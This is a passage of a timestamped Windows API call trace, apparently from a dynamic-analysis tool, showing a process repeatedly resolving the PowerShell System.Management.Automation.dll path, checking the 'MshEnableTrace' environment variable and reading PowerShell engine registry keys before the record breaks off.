[0084.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.927] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.930] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.942] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.942] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.943] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.943] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.976] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c190, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.977] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.978] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c0e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0084.978] VirtualQuery (in: lpAddress=0x24b810, lpBuffer=0x24c6d0, dwLength=0x30 | out: lpBuffer=0x24c6d0*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0084.980] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0084.980] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0084.980] CoTaskMemFree (pv=0x1b75b480) [0085.017] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0085.017] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0085.017] CoTaskMemFree (pv=0x1b75b480) [0085.018] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0085.018] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0085.018] CoTaskMemFree (pv=0x1b75b480) [0085.018] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0085.019] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0085.019] CoTaskMemFree (pv=0x1b75b480) [0085.022] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0085.022] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0085.022] CoTaskMemFree (pv=0x1b75b480) [0085.025] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0085.025] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0085.026] CoTaskMemFree (pv=0x1b75b480) [0085.026] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0085.026] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0085.026] CoTaskMemFree (pv=0x1b75b480) [0085.174] CoTaskMemAlloc (cb=0x104) returned 0x1b75b480 [0085.174] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b480, nSize=0x80 | out: lpBuffer="") returned 0x0 [0085.174] CoTaskMemFree (pv=0x1b75b480) [0085.390] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x1b75b590 [0085.393] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x1b75b6a0 [0086.014] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.015] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.015] CoTaskMemFree (pv=0x1b75b7b0) [0086.020] CoTaskMemAlloc (cb=0x104) returned 0x1b75b7b0 [0086.020] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b7b0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0086.020] CoTaskMemFree (pv=0x1b75b7b0) [0086.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c470, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.020] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.021] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.021] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.067] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c470, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.067] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.068] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.068] VirtualQuery (in: lpAddress=0x24bac0, lpBuffer=0x24c980, dwLength=0x30 | out: lpBuffer=0x24c980*(BaseAddress=0x24b000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0086.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c450, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.075] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.076] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24c3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0086.078] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d918 | out: phkResult=0x24d918*=0x380) returned 0x0 [0086.078] RegQueryValueExW (in: hKey=0x380, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d89c, lpData=0x0, lpcbData=0x24d898*=0x0 | out: lpType=0x24d89c*=0x1, lpData=0x0, lpcbData=0x24d898*=0x56) returned 0x0 [0086.078] CoTaskMemAlloc (cb=0x5a) returned 0x1b7655e0 [0086.078] RegQueryValueExW (in: hKey=0x380, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d86c, lpData=0x1b7655e0, lpcbData=0x24d868*=0x56 | out: lpType=0x24d86c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d868*=0x56) returned 0x0 [0086.078] CoTaskMemFree (pv=0x1b7655e0) [0086.078] RegCloseKey (hKey=0x380) returned 0x0 [0086.078] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d918 | out: phkResult=0x24d918*=0x380) returned 0x0 [0086.078] RegQueryValueExW (in: hKey=0x380, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d89c, lpData=0x0, lpcbData=0x24d898*=0x0 | out: lpType=0x24d89c*=0x1, lpData=0x0, lpcbData=0x24d898*=0x56) returned 0x0 [0086.079] CoTaskMemAlloc (cb=0x5a) returned 0x1b7655e0 [0086.079] RegQueryValueExW (in: hKey=0x380, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x24d86c, lpData=0x1b7655e0, lpcbData=0x24d868*=0x56 | out: lpType=0x24d86c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x24d868*=0x56) returned 0x0 [0086.079] CoTaskMemFree (pv=0x1b7655e0) [0086.079] RegCloseKey (hKey=0x380) returned 0x0 [0086.079] CoTaskMemAlloc (cb=0x20c) returned 0x1b750250 [0086.079] SHGetFolderPathW 